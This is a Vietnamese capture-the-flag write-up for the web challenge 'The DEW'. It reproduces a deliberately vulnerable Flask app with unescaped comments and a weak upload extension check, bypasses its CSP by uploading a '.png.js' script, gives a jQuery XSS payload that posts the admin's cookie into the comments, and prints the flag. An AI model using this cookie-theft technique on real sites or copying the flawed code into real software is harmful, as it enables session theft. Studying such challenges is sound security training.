Giải này mình tham gia khá muộn và web của giải cũng khá là dễ. Ở bài này mình sẽ chỉ trình bày mỗi lời giải cho bài The DEW mà mình thấy là nó đúng nghĩa 1 bài ctf nhất.
The DEW
Hello fellow Donut Earther! Check out this neat site that forwards our cause! The thing is, we think that the admin is actually a flat earther. Think you can figure it out?
Truy cập web:
Phân tích và lên ý tưởng
Lướt qua 1 chút. Trang web cho chúng ta thêm comment, cho chúng ta upload file ảnh lên. Chức năng comment còn có thêm nút gọi admin -> rất có thể là XSS
Xem source của web chúng ta tìm thấy path đến source code (Thật ra bài này cũng không cần đến source code nhưng người ta cho thì mình cứ dùng đúng không :))))))
#https://www.w3schools.com/howto/howto_css_blog_layout.asp#https://flask.palletsprojects.com/en/latest/patterns/fileuploads/import osimport redisimport subprocessfrom uuid import uuid4from flask import *from flask_limiter import Limiterfrom flask_limiter.util import get_remote_addressfrom flask_socketio import SocketIO, emitfrom werkzeug.utils import secure_filename
UPLOAD_FOLDER = os.path.abspath('../') + '/images/'ALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg', 'gif'}
app = Flask(__name__)
limiter = Limiter( get_remote_address, app=app, default_limits=["30 per minute"])
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDERapp.config['SECRET_KEY'] = 'secret!'
socketio = SocketIO(app)
comments = []
def allowed_file(filename): return '.' in filename and filename.rsplit('.')[1].lower() in ALLOWED_EXTENSIONS
@app.after_requestdef add_security_headers(resp): resp.headers['Content-Security-Policy']="default-src 'self' https://*.jquery.com https://*.cloudflare.com; object-src 'none';" return resp
@socketio.on('submit comment')def handle_comment(data): comments.append("<p class=\"comment\"><strong>" + data['author'] + ":</strong> " + data['comment'] + "</p>"); emit('new comment', broadcast=True)
@socketio.on('waive admin')def waive_admin(): subprocess.run(['python','admin.py'])
@app.route('/', methods=['GET'])def news(): if 'flag' in request.cookies: return render_template('/news.html', comments=comments) else: resp = make_response(render_template('/news.html', comments=comments)) resp.set_cookie('flag','if only you were the admin lol') return resp
@app.route('/upload', methods=['GET','POST'])def upload(): if request.method == 'POST': if 'file' not in request.files: flash('No file part') return render_template('/upload.html',message='No file uploaded :(') file = request.files['file'] if not file: flash('No file data') return render_template('/upload.html',message='No file uploaded :(') if file.filename == '': flash('No selected file') return render_template('/upload.html',message='Filename can\'t be empty, silly!') if allowed_file(file.filename): filename = session['uuid'] + secure_filename(file.filename) print(filename) file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename)) return render_template('/upload.html',message=f'Image uploaded successfully to /images/{filename}!') else: return render_template('/upload.html',message='Bad file type detected! Only .png, .jpg, .jpeg, and .gif allowed!') return render_template('/upload.html')
@app.route('/images/<name>', methods=['GET'])def download_file(name): return send_from_directory(app.config["UPLOAD_FOLDER"], name)
@app.route('/source',methods=['GET'])def show_source(): return render_template('server_code.py')
if __name__=='__main__': app.run(host="0.0.0.0",port=31337)
Điều thú vị là ở đây
Có CSP header -> không thể thực thi inline script, không thể fetch sang 1 endpoint khác Chỉ những nội dung đến từ chính web (self) hoặc đến từ jquery.com
và cloudflare.com
mới được chấp nhận.
Như vậy mình cần bypass CSP hoặc tìm 1 cách nào đó để upload script lên chính web để có thể thực thi. Và thật trùng hợp khi web cho phép up load hình ảnh :)) -> cần bypass việc check upload file để upload script lên -> XSS
Bypass upload để up script file
Web có chức năng up ảnh lên và chỉ chấp nhận những extension sau:
Việc bypass mỗi file extension của flask khá là dễ dàng. Ở đây mình dùng 2 extension lồng vào nhau như thế này script1.png.js
:
alert(1);
-> thành công up lên được script mình mong muốn.
Thử thực thi script này qua comment form:
Viết cookie aka flag vào web
OK chúng ta đã tìm ra cách XSS bây giờ cần làm là tim flag. Cookie của web:
-> rất có thể flag ở cookie của admin. Thông thường lúc này mình sẽ viết 1 đoạn script đơn giản kiểu fetch đến 1 endpoint ngoài kèm thêm document.cookie
và gọi admin để lấy được cookie của admin. Nhưng như đã đề cập ở trên CSP ngăn không cho chúng ta làm điều này -> chỉ có thể tìm cách viết cookie vào một nơi nào đó trên trang web. Và nơi duy nhất có thể viết vào chính là comment form.
Đoạn script xử lý việc comment:
$(document).ready(function () { var socket = io.connect('http://' + document.domain + ':' + location.port) socket.on('connect', function () { console.log('Connected to server') })
socket.on('refresh feed', function () { // Append new comment to existing comments window.location.reload() })
$('#comment-form').submit(function (e) { e.preventDefault() var author = $('#comment-author').val() var comment = $('#comment-input').val() socket.emit('submit comment', { author: author, comment: comment }) $('#comment-author').val('') $('#comment-input').val('') })
document.getElementById('refresh').onclick = function () { window.location.reload() }
document.getElementById('waive').onclick = function () { socket.emit('waive admin') }})
Viết 1 đoạn script để viết vào comment và bấm submit:
$(document).ready(function() { $('#comment-author').val('hello');
$('#comment-input').val(document.cookie);
$('#comment-form').submit();});
Up file này lên nhập nội dung vào form comment như hình thử bấm submit và refresh feed xem:
-> ok thành công viết được cookie của bản thân lên page -> gọi admin timeeeeee
(Nên xóa hết cookie đi để có được một page fresh nhé)
Flag:
shctf{w3_a11_l1v3_und3r_th3_DOMe}